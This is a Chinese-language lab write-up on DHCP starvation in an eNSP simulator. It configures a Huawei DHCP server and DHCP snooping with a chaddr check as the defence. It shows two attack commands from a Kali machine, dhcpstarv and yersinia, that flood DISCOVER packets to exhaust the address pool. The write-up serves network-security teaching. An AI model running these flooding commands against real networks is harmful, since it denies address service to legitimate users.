DHCP饿死攻击及防御(基于ENSP模拟器、Kali攻击机实现)

拓扑图

Untitled

实验需求

  • 通过配置DHCP_Server,使得192.168.0.0/24子网内的终端能够自动获取IP地址及DNS
  • 通过配置SW交换机,开启DHCP Snooping功能,用于保证DHCP客户端从合法的DHCP服务器获取IP地址
  • Kali攻击机接入192.168.0.0/24内网中,获取内网IP地址,使用两种DHCP攻击方式并抓包进行分析(Wireshark)

实验步骤

0.准备工具dhcpstarv,yesinia

1
2
3
apt-get install dhcpstarv
apt-get install yesinia
图形界面打不开

1.配置dhcp服务器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
"""
R3配置
"""
int g0/0/0
ip address 192.168.0.254 24
q

ip pool 1
network 192.168.0.0
gateway-list 192.168.0.254

dhcp enable
int g0/0/0
dhcp select global

此时PC已经获取到IP地址

Untitled

2.关闭kali的dhcp,从ensp中获取ip地址

关闭kali的本地dhcp功能

Untitled

1
2
3
4
"""
kali配置
"""
dhcpclient

获取到ip地址

Untitled

Untitled

此时可以在R3中看到地址池的使用情况

1
display ip pool name 1 used

Untitled

3.使用工具dhcpstarv攻击

1
2
3
4
"""
kali
"""
dhcpstarv -v -i eth0

可以发现kali疯狂发送discover报文申请IP地址

Untitled

DHCP服务器的地址池已经都被占用了

Untitled

1
dhcp snooping user-bind

Untitled

DHCP Snooping 非信任接口发送的offer报文丢弃,但并无法防御申请,也就是饿死攻击

防御

原理:饿死攻击仅修改Ch?(M)addr,并不会修改源MAC地址

Untitled

因此可以在接口上开启dhcp snooping 的 chaddr检测功能

1
2
3
4
5
6
7
8
9
"""
交换机配置
"""
port-group group-member g0/0/1 to g0/0/3
dhcp snooping check dhcp-chaddr enable
"""
dhcp服务器重置地址池
"""
reset ip pool name 1 all

此时已经不会出现被绑定的情况了,防御成功,未能到达服务器

Untitled

discover报文仅仅出现在1口

Untitled

攻击二-修改MAC和Chaddr

1
2
3
4
"""
虽然打不开图形界面,但是可以使用命令
"""
yersinia dhcp -interface eth0 -attack 1

Untitled

发现出现了dhcp discover报文泛洪,并且MAC地址和chaddr都发生了改变

Untitled